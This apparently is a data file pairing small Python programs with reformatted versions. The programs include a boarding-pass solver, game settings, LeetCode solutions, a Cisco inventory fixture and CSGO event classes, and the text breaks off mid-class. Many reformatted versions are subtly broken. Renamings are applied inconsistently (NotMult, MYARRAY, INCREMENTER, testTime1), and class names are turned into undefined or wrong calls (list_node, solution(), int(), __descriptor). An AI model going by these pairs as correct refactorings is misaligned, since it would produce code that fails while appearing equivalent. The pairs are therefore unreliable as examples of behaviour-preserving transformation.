gain_gyro_rate = 146 * 0.85
gain_motor_angle = 7 * 1
gain_motor_angular_speed = 9 * 0.95
gain_motor_angle_error_accumulated = 0.6 |
# Upper makes a string completely capitalized.
parrot = "norwegian blue"
print ("parrot").upper() | parrot = 'norwegian blue'
print('parrot').upper() |
file = open('binaryBoarding_input.py', 'r')
tickets = file.readlines()
total_rows = 128
total_columns = 8
def find_row(boarding_pass):
min_row = 0
max_row = total_rows - 1
for letter in boarding_pass[:7]:
if letter == 'F':
max_row = max_row - int((max_row - min_row) / 2) - 1
elif letter == 'B':
min_row = min_row + int((max_row - min_row) / 2) + 1
return max_row
def find_seat(boarding_pass):
min_seat = 0
max_seat = total_columns - 1
for letter in boarding_pass[7:]:
if letter == 'R':
min_seat = min_seat + int((max_seat - min_seat) / 2) + 1
elif letter == 'L':
max_seat = max_seat - int((max_seat - min_seat) / 2) - 1
return max_seat
claimed_seats = [False] * total_columns * total_rows
empty_seats = []
for i in range(total_rows):
for j in range(total_columns):
empty_seats.append((i, j))
for ticket in tickets:
row = find_row(ticket)
seat = find_seat(ticket)
seat_id = row * 8 + seat
claimed_seats[seat_id] = True
for i in range(len(claimed_seats)):
is_taken = claimed_seats[i]
if is_taken:
empty_seats[i] = False
for i in range(1, len(empty_seats) - 1):
seat_before = empty_seats[i - 1]
seat = empty_seats[i]
seat_after = empty_seats[i + 1]
if seat and not seat_before and not seat_after:
row = seat[0]
column = seat[1]
print(row * 8 + column)
| file = open('binaryBoarding_input.py', 'r')
tickets = file.readlines()
total_rows = 128
total_columns = 8
def find_row(boarding_pass):
min_row = 0
max_row = total_rows - 1
for letter in boarding_pass[:7]:
if letter == 'F':
max_row = max_row - int((max_row - min_row) / 2) - 1
elif letter == 'B':
min_row = min_row + int((max_row - min_row) / 2) + 1
return max_row
def find_seat(boarding_pass):
min_seat = 0
max_seat = total_columns - 1
for letter in boarding_pass[7:]:
if letter == 'R':
min_seat = min_seat + int((max_seat - min_seat) / 2) + 1
elif letter == 'L':
max_seat = max_seat - int((max_seat - min_seat) / 2) - 1
return max_seat
claimed_seats = [False] * total_columns * total_rows
empty_seats = []
for i in range(total_rows):
for j in range(total_columns):
empty_seats.append((i, j))
for ticket in tickets:
row = find_row(ticket)
seat = find_seat(ticket)
seat_id = row * 8 + seat
claimed_seats[seat_id] = True
for i in range(len(claimed_seats)):
is_taken = claimed_seats[i]
if is_taken:
empty_seats[i] = False
for i in range(1, len(empty_seats) - 1):
seat_before = empty_seats[i - 1]
seat = empty_seats[i]
seat_after = empty_seats[i + 1]
if seat and (not seat_before) and (not seat_after):
row = seat[0]
column = seat[1]
print(row * 8 + column) |
x = int(input())
y = int(input())
NotMult = 0
if x<y:
for c in range(x, y+1):
if (c%13)!=0:
NotMult += c
if x>y:
for c in range(y, x+1):
if (c%13)!=0:
NotMult += c
print(NotMult)
| x = int(input())
y = int(input())
not_mult = 0
if x < y:
for c in range(x, y + 1):
if c % 13 != 0:
not_mult += c
if x > y:
for c in range(y, x + 1):
if c % 13 != 0:
not_mult += c
print(NotMult) |
# Control all of the game settings.
# Imports
class Settings():
"""Class to store all game settings."""
# Initalize game settings
def __init__(self):
# Screen Settings
self.screen_width = 1200
self.screen_height = 800
self.bgColor = (230,230,230)
# Ship settings
self.shipSpeedFactor = 1
self.ship_limit = 3
# Bullet settings
self.bullet_speed_factor = 3
self.bullet_width = 3
self.bullet_height = 20
self.bullet_color = (60,60,60) #RGB
self.bullets_allowed = 3
# Alien settings
self.alien_speed_factor = 0.5
self.fleet_drop_speed = 10
self.fleet_direction = 1 #-1 represents left, 1 represents right
# Game settings
self.speedup_scale = 1.1
# Scoring
self.alien_points = 50
self.score_scale = 1.5
self.initialize_dynamic_settings()
# Initalize the settings for making game HARDER to play
def initialize_dynamic_settings(self):
self.shipSpeedFactor = 1
self.bullet_speed_factor = 3
self.alien_speed_factor = 0.5
self.fleet_direction = 1
# Increase the speed of the game
def increase_speed(self):
self.shipSpeedFactor *= self.speedup_scale
self.bullet_speed_factor *= self.speedup_scale
self.alien_speed_factor *= self.speedup_scale
self.alien_points = int(self.alien_points * self.score_scale) | class Settings:
"""Class to store all game settings."""
def __init__(self):
self.screen_width = 1200
self.screen_height = 800
self.bgColor = (230, 230, 230)
self.shipSpeedFactor = 1
self.ship_limit = 3
self.bullet_speed_factor = 3
self.bullet_width = 3
self.bullet_height = 20
self.bullet_color = (60, 60, 60)
self.bullets_allowed = 3
self.alien_speed_factor = 0.5
self.fleet_drop_speed = 10
self.fleet_direction = 1
self.speedup_scale = 1.1
self.alien_points = 50
self.score_scale = 1.5
self.initialize_dynamic_settings()
def initialize_dynamic_settings(self):
self.shipSpeedFactor = 1
self.bullet_speed_factor = 3
self.alien_speed_factor = 0.5
self.fleet_direction = 1
def increase_speed(self):
self.shipSpeedFactor *= self.speedup_scale
self.bullet_speed_factor *= self.speedup_scale
self.alien_speed_factor *= self.speedup_scale
self.alien_points = int(self.alien_points * self.score_scale) |
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
def test1():
print('\ntest1')
x = 10
y = 1
result = x if x > y else y
print(result)
def max2(x, y):
return x if x > y else y
def test2():
print('\ntest2')
print(max2(10, 20))
print(max2(2, 1))
def main():
test1()
test2()
if __name__ == "__main__":
main()
| def test1():
print('\ntest1')
x = 10
y = 1
result = x if x > y else y
print(result)
def max2(x, y):
return x if x > y else y
def test2():
print('\ntest2')
print(max2(10, 20))
print(max2(2, 1))
def main():
test1()
test2()
if __name__ == '__main__':
main() |
"""pytest is unhappy if it finds no tests"""
def test_nothing():
"""An empty test to keep pytest happy"""
| """pytest is unhappy if it finds no tests"""
def test_nothing():
"""An empty test to keep pytest happy""" |
name = input("What is your name?")
quest = input("What is your quest?")
color = input("What is your favorite color?")
print(f"So your name is {name}.\nYou seek to {quest}.\nYour favorite color is {color}.\nYou may cross!")
| name = input('What is your name?')
quest = input('What is your quest?')
color = input('What is your favorite color?')
print(f'So your name is {name}.\nYou seek to {quest}.\nYour favorite color is {color}.\nYou may cross!') |
a = list(map(int,input().split()))
b = list(map(int,input().split()))
for i in range(a[0]):
if b[i] < a[1]:
print(b[i],end='')
print(" ",end='') | a = list(map(int, input().split()))
b = list(map(int, input().split()))
for i in range(a[0]):
if b[i] < a[1]:
print(b[i], end='')
print(' ', end='') |
def main():
n = int(input())
v = list(map(int, input().split()))
m = dict()
res = 0
for i in v:
if i not in m:
m[i] = 0
m[i] += 1
k = v.copy()
for i in range(n - 1, 0, -1):
k[i - 1] = k[i] + k[i - 1]
for i in range(0, n - 1):
res += -(n - i - 1) * v[i] + k[i + 1]
m[v[i]] -= 1
if v[i] + 1 in m:
res -= m[v[i] + 1]
if v[i] - 1 in m:
res += m[v[i] - 1]
print(res)
if __name__ == '__main__':
main()
| def main():
n = int(input())
v = list(map(int, input().split()))
m = dict()
res = 0
for i in v:
if i not in m:
m[i] = 0
m[i] += 1
k = v.copy()
for i in range(n - 1, 0, -1):
k[i - 1] = k[i] + k[i - 1]
for i in range(0, n - 1):
res += -(n - i - 1) * v[i] + k[i + 1]
m[v[i]] -= 1
if v[i] + 1 in m:
res -= m[v[i] + 1]
if v[i] - 1 in m:
res += m[v[i] - 1]
print(res)
if __name__ == '__main__':
main() |
expected_output = {
"main": {
"chassis": {
"C9407R": {
"name": "Chassis",
"descr": "Cisco Catalyst 9400 Series 7 Slot Chassis",
"pid": "C9407R",
"vid": "V01",
"sn": "******",
}
},
"TenGigabitEthernet3/0/1": {
"SFP-10G-SR": {
"name": "TenGigabitEthernet3/0/1",
"descr": "SFP 10GBASE-SR",
"pid": "SFP-10G-SR",
"vid": "01",
"sn": "******",
}
},
"TenGigabitEthernet3/0/2": {
"SFP-10G-SR": {
"name": "TenGigabitEthernet3/0/2",
"descr": "SFP 10GBASE-SR",
"pid": "SFP-10G-SR",
"vid": "01",
"sn": "******",
}
},
"TenGigabitEthernet3/0/3": {
"SFP-10G-SR": {
"name": "TenGigabitEthernet3/0/3",
"descr": "SFP 10GBASE-SR",
"pid": "SFP-10G-SR",
"vid": "01",
"sn": "******",
}
},
"TenGigabitEthernet3/0/4": {
"SFP-10G-SR": {
"name": "TenGigabitEthernet3/0/4",
"descr": "SFP 10GBASE-SR",
"pid": "SFP-10G-SR",
"vid": "01",
"sn": "******",
}
},
"TenGigabitEthernet3/0/8": {
"QFBR-5798L": {
"name": "TenGigabitEthernet3/0/8",
"descr": "GE SX",
"pid": "QFBR-5798L",
"vid": "",
"sn": "******",
}
},
},
"slot": {
"Slot_1_Linecard": {
"lc": {
"C9400-LC-48P": {
"name": "Slot 1 Linecard",
"descr": "Cisco Catalyst 9400 Series 48-Port POE 10/100/1000 (RJ-45)",
"pid": "C9400-LC-48P",
"vid": "V01",
"sn": "******",
}
}
},
"Slot_2_Linecard": {
"lc": {
"C9400-LC-48P": {
"name": "Slot 2 Linecard",
"descr": "Cisco Catalyst 9400 Series 48-Port POE 10/100/1000 (RJ-45)",
"pid": "C9400-LC-48P",
"vid": "V01",
"sn": "******",
}
}
},
"Slot_5_Linecard": {
"lc": {
"C9400-LC-48P": {
"name": "Slot 5 Linecard",
"descr": "Cisco Catalyst 9400 Series 48-Port POE 10/100/1000 (RJ-45)",
"pid": "C9400-LC-48P",
"vid": "V01",
"sn": "******",
}
}
},
"Slot_6_Linecard": {
"lc": {
"C9400-LC-48P": {
"name": "Slot 6 Linecard",
"descr": "Cisco Catalyst 9400 Series 48-Port POE 10/100/1000 (RJ-45)",
"pid": "C9400-LC-48P",
"vid": "V01",
"sn": "******",
}
}
},
"Slot_3_Supervisor": {
"other": {
"C9400-SUP-1": {
"name": "Slot 3 Supervisor",
"descr": "Cisco Catalyst 9400 Series Supervisor 1 Module",
"pid": "C9400-SUP-1",
"vid": "V02",
"sn": "******",
}
}
},
"P1": {
"other": {
"C9400-PWR-3200AC": {
"name": "Power Supply Module 1",
"descr": "Cisco Catalyst 9400 Series 3200W AC Power Supply",
"pid": "C9400-PWR-3200AC",
"vid": "V01",
"sn": "******",
}
}
},
"P2": {
"other": {
"C9400-PWR-3200AC": {
"name": "Power Supply Module 2",
"descr": "Cisco Catalyst 9400 Series 3200W AC Power Supply",
"pid": "C9400-PWR-3200AC",
"vid": "V01",
"sn": "DTM224703G0",
}
}
},
"Fan_Tray": {
"other": {
"C9407-FAN": {
"name": "Fan Tray",
"descr": "Cisco Catalyst 9400 Series 7 Slot Chassis Fan Tray",
"pid": "C9407-FAN",
"vid": "V01",
"sn": "******",
}
}
},
},
} | expected_output = {'main': {'chassis': {'C9407R': {'name': 'Chassis', 'descr': 'Cisco Catalyst 9400 Series 7 Slot Chassis', 'pid': 'C9407R', 'vid': 'V01', 'sn': '******'}}, 'TenGigabitEthernet3/0/1': {'SFP-10G-SR': {'name': 'TenGigabitEthernet3/0/1', 'descr': 'SFP 10GBASE-SR', 'pid': 'SFP-10G-SR', 'vid': '01', 'sn': '******'}}, 'TenGigabitEthernet3/0/2': {'SFP-10G-SR': {'name': 'TenGigabitEthernet3/0/2', 'descr': 'SFP 10GBASE-SR', 'pid': 'SFP-10G-SR', 'vid': '01', 'sn': '******'}}, 'TenGigabitEthernet3/0/3': {'SFP-10G-SR': {'name': 'TenGigabitEthernet3/0/3', 'descr': 'SFP 10GBASE-SR', 'pid': 'SFP-10G-SR', 'vid': '01', 'sn': '******'}}, 'TenGigabitEthernet3/0/4': {'SFP-10G-SR': {'name': 'TenGigabitEthernet3/0/4', 'descr': 'SFP 10GBASE-SR', 'pid': 'SFP-10G-SR', 'vid': '01', 'sn': '******'}}, 'TenGigabitEthernet3/0/8': {'QFBR-5798L': {'name': 'TenGigabitEthernet3/0/8', 'descr': 'GE SX', 'pid': 'QFBR-5798L', 'vid': '', 'sn': '******'}}}, 'slot': {'Slot_1_Linecard': {'lc': {'C9400-LC-48P': {'name': 'Slot 1 Linecard', 'descr': 'Cisco Catalyst 9400 Series 48-Port POE 10/100/1000 (RJ-45)', 'pid': 'C9400-LC-48P', 'vid': 'V01', 'sn': '******'}}}, 'Slot_2_Linecard': {'lc': {'C9400-LC-48P': {'name': 'Slot 2 Linecard', 'descr': 'Cisco Catalyst 9400 Series 48-Port POE 10/100/1000 (RJ-45)', 'pid': 'C9400-LC-48P', 'vid': 'V01', 'sn': '******'}}}, 'Slot_5_Linecard': {'lc': {'C9400-LC-48P': {'name': 'Slot 5 Linecard', 'descr': 'Cisco Catalyst 9400 Series 48-Port POE 10/100/1000 (RJ-45)', 'pid': 'C9400-LC-48P', 'vid': 'V01', 'sn': '******'}}}, 'Slot_6_Linecard': {'lc': {'C9400-LC-48P': {'name': 'Slot 6 Linecard', 'descr': 'Cisco Catalyst 9400 Series 48-Port POE 10/100/1000 (RJ-45)', 'pid': 'C9400-LC-48P', 'vid': 'V01', 'sn': '******'}}}, 'Slot_3_Supervisor': {'other': {'C9400-SUP-1': {'name': 'Slot 3 Supervisor', 'descr': 'Cisco Catalyst 9400 Series Supervisor 1 Module', 'pid': 'C9400-SUP-1', 'vid': 'V02', 'sn': '******'}}}, 'P1': {'other': {'C9400-PWR-3200AC': {'name': 'Power Supply Module 1', 'descr': 'Cisco Catalyst 9400 Series 3200W AC Power Supply', 'pid': 'C9400-PWR-3200AC', 'vid': 'V01', 'sn': '******'}}}, 'P2': {'other': {'C9400-PWR-3200AC': {'name': 'Power Supply Module 2', 'descr': 'Cisco Catalyst 9400 Series 3200W AC Power Supply', 'pid': 'C9400-PWR-3200AC', 'vid': 'V01', 'sn': 'DTM224703G0'}}}, 'Fan_Tray': {'other': {'C9407-FAN': {'name': 'Fan Tray', 'descr': 'Cisco Catalyst 9400 Series 7 Slot Chassis Fan Tray', 'pid': 'C9407-FAN', 'vid': 'V01', 'sn': '******'}}}}} |
a = int(input())
s = list(range(1, a+1))
k = len(s)
while k > 1:
if k & 1:
s = s[::2]
del s[0]
else:
s = s[::2]
k = len(s)
print(s[0])
| a = int(input())
s = list(range(1, a + 1))
k = len(s)
while k > 1:
if k & 1:
s = s[::2]
del s[0]
else:
s = s[::2]
k = len(s)
print(s[0]) |
ANONYMOUS = 'Anonymous User'
PUBLIC_NON_REQUESTER = 'Public User - Non-Requester'
PUBLIC_REQUESTER = 'Public User - Requester'
AGENCY_HELPER = 'Agency Helper'
AGENCY_OFFICER = 'Agency FOIL Officer'
AGENCY_ADMIN = 'Agency Administrator'
POINT_OF_CONTACT = 'point_of_contact'
| anonymous = 'Anonymous User'
public_non_requester = 'Public User - Non-Requester'
public_requester = 'Public User - Requester'
agency_helper = 'Agency Helper'
agency_officer = 'Agency FOIL Officer'
agency_admin = 'Agency Administrator'
point_of_contact = 'point_of_contact' |
class Solution:
def partition(self, head, x):
h1 = l1 = ListNode(0)
h2 = l2 = ListNode(0)
while head:
if head.val < x:
l1.next = head
l1 = l1.next
else:
l2.next = head
l2 = l2.next
head = head.next
l2.next = None
l1.next = h2.next
return h1.next
| class Solution:
def partition(self, head, x):
h1 = l1 = list_node(0)
h2 = l2 = list_node(0)
while head:
if head.val < x:
l1.next = head
l1 = l1.next
else:
l2.next = head
l2 = l2.next
head = head.next
l2.next = None
l1.next = h2.next
return h1.next |
# Python 2.7 Coordinate Generation
MYARRAY = []
INCREMENTER = 0
while INCREMENTER < 501:
MYARRAY.append([INCREMENTER, INCREMENTER*2])
INCREMENTER += 1
| myarray = []
incrementer = 0
while INCREMENTER < 501:
MYARRAY.append([INCREMENTER, INCREMENTER * 2])
incrementer += 1 |
#: attr1
attr1: str = ''
#: attr2
attr2: str
#: attr3
attr3 = '' # type: str
class _Descriptor:
def __init__(self, name):
self.__doc__ = "This is {}".format(name)
def __get__(self):
pass
class Int:
"""An integer validator"""
@classmethod
def __call__(cls,x):
return int(x)
class Class:
attr1: int = 0
attr2: int
attr3 = 0 # type: int
attr7 = Int()
descr4: int = _Descriptor("descr4")
def __init__(self):
self.attr4: int = 0 #: attr4
self.attr5: int #: attr5
self.attr6 = 0 # type: int
"""attr6"""
class Derived(Class):
attr7: int
| attr1: str = ''
attr2: str
attr3 = ''
class _Descriptor:
def __init__(self, name):
self.__doc__ = 'This is {}'.format(name)
def __get__(self):
pass
class Int:
"""An integer validator"""
@classmethod
def __call__(cls, x):
return int(x)
class Class:
attr1: int = 0
attr2: int
attr3 = 0
attr7 = int()
descr4: int = __descriptor('descr4')
def __init__(self):
self.attr4: int = 0
self.attr5: int
self.attr6 = 0
'attr6'
class Derived(Class):
attr7: int |
"""
Given a time represented in the format "HH:MM",
form the next closest time by reusing the current digits.
There is no limit on how many times a digit can be reused.
You may assume the given input string is always valid.
For example, "01:34", "12:09" are all valid.
"1:34", "12:9" are all invalid.
Example 1:
Input: "19:34"
Output: "19:39"
Explanation: The next closest time choosing from digits 1, 9, 3, 4, is 19:39,
which occurs 5 minutes later.
It is not 19:33, because this occurs 23 hours and 59 minutes later.
Example 2:
Input: "23:59"
Output: "22:22"
Explanation: The next closest time choosing from digits 2, 3, 5, 9, is 22:22.
It may be assumed that the returned time is next day's time since it is smaller
than the input time numerically.
Time: O(1)
Space: O(1)
"""
class Solution(object):
def nextClosestTime(self, time):
"""
:type time: str
:rtype: str
"""
# First, separate the hour and minute
h = int(time[0:2])
m = int(time[3:5])
# Store s as a set for the next comparison (Tricky Part!)
s = set(time)
# Within one day, all the possible combination should be checked.
for _ in xrange(1441):
m += 1
if m == 60:
m = 0
if h == 23:
h = 0
else:
h += 1
# 02d formats an integer (d) to a field of minimum width 2 (2),
# with zero-padding on the left (leading 0)
time = "%02d:%02d" % (h, m)
if set(time) <= s:
break
return time
if __name__ == "__main__":
print("Start the test!")
s = Solution()
testTime1 = "19:34"
testTime2 = "01:32"
print("Test with 19:34. Answer is 19:39. Result is %s" % s.nextClosestTime(testTime1))
print("Test with 01:32. Answer is 01:33. Result is %s" % s.nextClosestTime(testTime1))
| """
Given a time represented in the format "HH:MM",
form the next closest time by reusing the current digits.
There is no limit on how many times a digit can be reused.
You may assume the given input string is always valid.
For example, "01:34", "12:09" are all valid.
"1:34", "12:9" are all invalid.
Example 1:
Input: "19:34"
Output: "19:39"
Explanation: The next closest time choosing from digits 1, 9, 3, 4, is 19:39,
which occurs 5 minutes later.
It is not 19:33, because this occurs 23 hours and 59 minutes later.
Example 2:
Input: "23:59"
Output: "22:22"
Explanation: The next closest time choosing from digits 2, 3, 5, 9, is 22:22.
It may be assumed that the returned time is next day's time since it is smaller
than the input time numerically.
Time: O(1)
Space: O(1)
"""
class Solution(object):
def next_closest_time(self, time):
"""
:type time: str
:rtype: str
"""
h = int(time[0:2])
m = int(time[3:5])
s = set(time)
for _ in xrange(1441):
m += 1
if m == 60:
m = 0
if h == 23:
h = 0
else:
h += 1
time = '%02d:%02d' % (h, m)
if set(time) <= s:
break
return time
if __name__ == '__main__':
print('Start the test!')
s = solution()
test_time1 = '19:34'
test_time2 = '01:32'
print('Test with 19:34. Answer is 19:39. Result is %s' % s.nextClosestTime(testTime1))
print('Test with 01:32. Answer is 01:33. Result is %s' % s.nextClosestTime(testTime1)) |
class PlayerInfo:
"""
Detail a Granade event
Attributes:
tick (int) : Game tick at time of kill
sec (float) : Seconds since round start
player_id (int) : Player's steamID
player_name (int) : Player's username
player_x_viz (float) : Player's X position for visualization
player_y_viz (float) : Player's Y position for visualization
player_side (string) : Player's side (T or CT)
player_money (int) : Player's money
player_health (int) : Player's health
player_armor (int) : Player's armor value
player_weapon (string) : Player's active weapon
"""
def __init__(
self,
tick=0,
sec=0,
player_id=0,
player_name="",
player_x_viz=0,
player_y_viz=0,
player_side="",
player_x_view=0,
player_money=0,
player_health=0,
player_armor=0,
player_weapon="",
):
self.tick = tick
self.sec = sec
self.player_id = player_id
self.player_name = player_name
self.player_x_viz = player_x_viz
self.player_y_viz = player_y_viz
self.player_side = player_side
self.player_x_view = player_x_view
self.player_money = player_money
self.player_health = player_health
self.player_armor = player_armor
self.player_weapon = player_weapon
class Grenade:
"""
Detail a Granade event
Attributes:
tick (int) : Game tick at time of kill
sec (float) : Seconds since round start
player_x_viz (float) : Player's X position for visualization
player_y_viz (float) : Player's Y position for visualization
player_name (int) : Player's username
player_side (string) : Player's side (T or CT)
nade_id (int) : nade uniqueID (until it gets destroyed)
nade_x_viz (float) : nade X position for visualization
nade_y_viz (float) : nade Y position for visualization
nade_type (int) : nade type (smoke, HE, ...)
nade_info (string) : nade info (create, destroy, air)
nade_area_name (int) : nade area name from nav file
"""
def __init__(
self,
tick=0,
sec=0,
player_id=0,
player_x_viz=0,
player_y_viz=0,
player_name="",
player_side="",
nade_id=0,
nade_x_viz=0,
nade_y_viz=0,
nade_type="",
nade_info="",
nade_area_name="",
):
self.tick = tick
self.sec = sec
self.player_id = player_id
self.player_x_viz = player_x_viz
self.player_y_viz = player_y_viz
self.player_name = player_name
self.player_side = player_side
self.nade_id = nade_id
self.nade_x_viz = nade_x_viz
self.nade_y_viz = nade_y_viz
self.nade_type = nade_type
self.nade_info = nade_info
self.nade_area_name = nade_area_name
class BombEvent:
"""
Detail a Bomb Plant/Defuse event
Attributes:
tick (int) : Game tick at time of event
sec (float) : Seconds since round start
player_name (string): Player's username
player_id (int) : Player's steam id
team (string) : Player's team/clan name
x (float) : X position of bomb event
y (float) : Y position of bomb event
z (float) : Z position of bomb event
area_id (int) : Location of event as nav file area id
bomb_site (string) : Bomb site (A or B)
event_type (string) : Plant, defuse, explode
"""
def __init__(
self,
tick=0,
sec=0,
player_x_viz=0,
player_y_viz=0,
player_id=0,
player_name="",
bomb_site="",
bomb_info="",
):
self.tick = tick
self.sec = sec
self.player_x_viz = player_x_viz
self.player_y_viz = player_y_viz
self.player_id = player_id
self.player_name = player_name
self.bomb_site = bomb_site
self.bomb_info = bomb_info
class Round:
""" Detail a CSGO round
Attributes:
map_name (string) : Round's map
start_tick (int) : Tick on ROUND START event
end_tick (int) : Tick on ROUND END event
end_ct_score (int) : Ending CT score
end_t_score (int) : Ending T score
start_t_score (int) : Starting T score
start_ct_score (int) : Starting CT score
round_winner_side (string) : T/CT for round winner
round_winner (string) : Winning team name
round_loser (string) : Losing team name
reason (int) : Corresponds to how the team won (defuse, killed other team, etc.)
ct_cash_spent_total (int) : CT total cash spent by this point of the game
ct_cash_spent_round (int) : CT total cash spent in current round
ct_eq_val (int) : CT equipment value at end of freezetime
t_cash_spent_total (int) : T total cash spent by this point of the game
t_cash_spent_round (int) : T total cash spent in current round
t_eq_val (int) : T equipment value at end of freezetime
ct_round_type (string) : CT round buy type
t_round_type (string) : T round buy type
bomb_plant_tick : Bomb plant tick
bomb_events (list) : List of BombEvent objects
damages (list) : List of Damage objects
kills (list) : List of Kill objects
footstep (list) : List of Footstep objects
grenades (list) : List of Grenade objects
"""
def __init__(
self,
map_name="",
start_tick=0,
end_tick=0,
end_ct_score=0,
end_t_score=0,
start_ct_score=0,
start_t_score=0,
round_winner_side="",
round_winner="",
round_loser="",
reason=0,
ct_cash_spent_total=0,
ct_cash_spent_round=0,
ct_eq_val=0,
t_cash_spent_total=0,
t_cash_spent_round=0,
t_eq_val=0,
ct_round_type="",
t_round_type="",
bomb_plant_tick=0,
end_freezetime=0,
players=[],
kills=[],
damages=[],
footsteps=[],
bomb_events=[],
grenades=[],
current_itemPickup =[],
current_playerInfo = [],
):
self.map_name = map_name
self.start_tick = start_tick
self.end_tick = end_tick
self.end_ct_score = end_ct_score
self.end_t_score = end_t_score
self.start_ct_score = start_ct_score
self.start_t_score = start_t_score
self.round_winner_side = round_winner_side
self.round_winner = round_winner
self.round_loser = round_loser
self.end_freezetime = end_freezetime
self.reason = reason
self.players = players
self.kills = kills
self.damages = damages
self.footsteps = footsteps
self.bomb_events = bomb_events
self.grenades = grenades
self.ct_cash_spent_total = ct_cash_spent_total
self.ct_cash_spent_round = ct_cash_spent_round
self.ct_eq_val = ct_eq_val
self.t_cash_spent_total = t_cash_spent_total
self.t_cash_spent_round = t_cash_spent_round
self.t_eq_val = t_eq_val
self.ct_round_type = ct_round_type
self.t_round_type = t_round_type
self.bomb_plant_tick = bomb_plant_tick
self.current_itemPickup_list = current_itemPickup
self.current_playerInfo = current_playerInfo
if self.round_winner_side == "CT":
self.start_ct_score = self.end_ct_score - 1
self.start_t_score = self.start_t_score
if self.round_winner_side == "T":
self.start_ct_score = self.end_ct_score
self.start_t_score = self.start_t_score - 1
class Kill:
""" Detail a kill event
Attributes:
tick (int) : Game tick at time of kill
sec (float) : Seconds since round start
victim_x_viz (float) : Victim's X position for visualization
victim_y_viz (float) : Victim's Y position for visualization
victim_view_x (float) : Victim's X view
victim_view_y (float) : Victim's Y view
victim_area_name (int) : Victim's area name from nav file
attacker_x_viz (float) : Attacker's X position for visualization
attacker_y_viz (float) : Attacker's Y position for visualization
attacker_view_x (float) : Attacker's X view
attacker_view_y (float) : Attacker's Y view
attacker_area_name (int) : Attacker's area name from nav file
assister_x_viz (float) : Assister's X position for visualization
assister_y_viz (float) : Assister's Y position for visualization
assister_view_x (float) : Assister's X view
assister_view_y (float) : Assister's Y view
assister_area_name (int) : Assister's area name from nav file
victim_id (int) : Victim's steam id
victim_name (string) : Victim's username
victim_side (string) : Victim's side (T or CT)
victim_team_eq_val (int) : Victim team's starting equipment value
attacker_id (int) : Attacker's steam id
attacker_name (int) : Attacker's username
attacker_side (string) : Attacker's side (T or CT)
attacker_team_eq_val (int): Attacker team's starting equipment value
assister_id (int) : Assister's steam id
assister_name (int) : Assister's username
assister_side (string) : Assister's side (T or CT)
weapon_id (int) : Weapon id
is_wallshot (boolean) : If kill was a wallshot then 1, 0 otherwise
is_flashed (boolean) : If kill victim was flashed then 1, 0 otherwise
is_headshot (boolean) : If kill was a headshot then 1, 0 otherwise
"""
def __init__(
self,
tick=0,
sec=0,
victim_x_viz=0,
victim_y_viz=0,
victim_view_x=0,
victim_view_y=0,
victim_area_name="",
attacker_x_viz=0,
attacker_y_viz=0,
attacker_view_x=0,
attacker_view_y=0,
attacker_area_name="",
assister_x_viz=0,
assister_y_viz=0,
assister_view_x=0,
assister_view_y=0,
assister_area_name="",
victim_id=0,
victim_name="",
victim_side="",
attacker_id=0,
attacker_name="",
attacker_side="",
assister_id=0,
assister_name="",
assister_side="",
weapon_id=0,
is_wallshot=False,
is_flashed=False,
is_headshot=False,
):
self.tick = tick
self.sec = sec
self.attacker_id = attacker_id
self.attacker_name = attacker_name
self.attacker_side = attacker_side
self.attacker_x_viz = attacker_x_viz
self.attacker_y_viz = attacker_y_viz
self.attacker_view_x = attacker_view_x
self.attacker_view_y = attacker_view_y
self.attacker_area_name = attacker_area_name
self.victim_id = victim_id
self.victim_name = victim_name
self.victim_side = victim_side
self.victim_x_viz = victim_x_viz
self.victim_y_viz = victim_y_viz
self.victim_view_x = victim_view_x
self.victim_view_y = victim_view_y
self.victim_area_name = victim_area_name
self.assister_id = assister_id
self.assister_name = assister_name
self.assister_side = assister_side
self.assister_x_viz = assister_x_viz
self.assister_y_viz = assister_y_viz
self.assister_view_x = assister_view_x
self.assister_view_y = assister_view_y
self.assister_area_name = assister_area_name
self.weapon_id = weapon_id
self.is_wallshot = is_wallshot
self.is_flashed = is_flashed
self.is_headshot = is_headshot
class Damage:
""" Detail a damage event
Attributes:
tick (int) : Game tick at time of kill
sec (float) : Seconds since round start
victim_x_viz (float) : Victim's X position for visualization
victim_y_viz (float) : Victim's Y position for visualization
victim_view_x (float) : Victim's X view
victim_view_y (float) : Victim's Y view
victim_area_name (int) : Victim's area name from nav file
attacker_x_viz (float) : Attacker's X position for visualization
attacker_y_viz (float) : Attacker's Y position for visualization
attacker_view_x (float) : Attacker's X view
attacker_view_y (float) : Attacker's Y view
attacker_area_name (int) : Attacker's area name from nav file
victim_id (int) : Victim's steam id
victim_name (string) : Victim's username
victim_side (string) : Victim's side (T or CT)
attacker_id (int) : Attacker's steam id
attacker_name (int) : Attacker's username
attacker_side (string) : Attacker's side (T or CT)
hp_damage (int) : HP damage dealt
kill_hp_damage (int) : HP damage dealt normalized to 100.
armor_damage (int) : Armor damage dealt
weapon_id (int) : Weapon id
hit_group (int) : Hit group
"""
def __init__(
self,
tick=0,
sec=0,
victim_x_viz=0,
victim_y_viz=0,
victim_view_x=0,
victim_view_y=0,
victim_area_name="",
attacker_x_viz=0,
attacker_y_viz=0,
attacker_view_x=0,
attacker_view_y=0,
attacker_area_name="",
victim_id=0,
victim_name="",
victim_side="",
attacker_id=0,
attacker_name="",
attacker_side="",
hp_damage=0,
kill_hp_damage=0,
armor_damage=0,
weapon_id=0,
hit_group=0,
):
self.tick = tick
self.sec = sec
self.victim_x_viz = victim_x_viz
self.victim_y_viz = victim_y_viz
self.victim_view_x = victim_view_x
self.victim_view_y = victim_view_y
self.victim_area_name = victim_area_name
self.attacker_x_viz = attacker_x_viz
self.attacker_y_viz = attacker_y_viz
self.attacker_view_x = attacker_view_x
self.attacker_view_y = attacker_view_y
self.attacker_area_name = attacker_area_name
self.victim_id = victim_id
self.victim_name = victim_name
self.victim_side = victim_side
self.attacker_id = attacker_id
self.attacker_name = attacker_name
self.attacker_side = attacker_side
self.hp_damage = hp_damage
self.kill_hp_damage = kill_hp_damage
self.armor_damage = armor_damage
self.weapon_id = weapon_id
self.hit_group = hit_group
class Flashed:
""" Detail a Flashed event
Attributes:
tick (int) : Game tick at time of kill
sec (float) : Seconds since round start
attacker_x_viz (float) : Attacker's X position for visualization
attacker_y_viz (float) : Attacker's Y position for visualization
attacker_name (string) : Attacker's Name
attacker_team (string) : Attacker's team/clan name
attacker_side (string) : Attacker's side (T or CT)
victim_x_viz (float) : Victim's X position for visualization
victim_y_viz (float) : Victim's Y position for visualization
victim_name (string) : Victim's Name
victim_team (string) : Victim's team/clan name
victim_side (string) : Victim's side (T or CT)
"""
def __init__(
self,
tick=0,
sec=0,
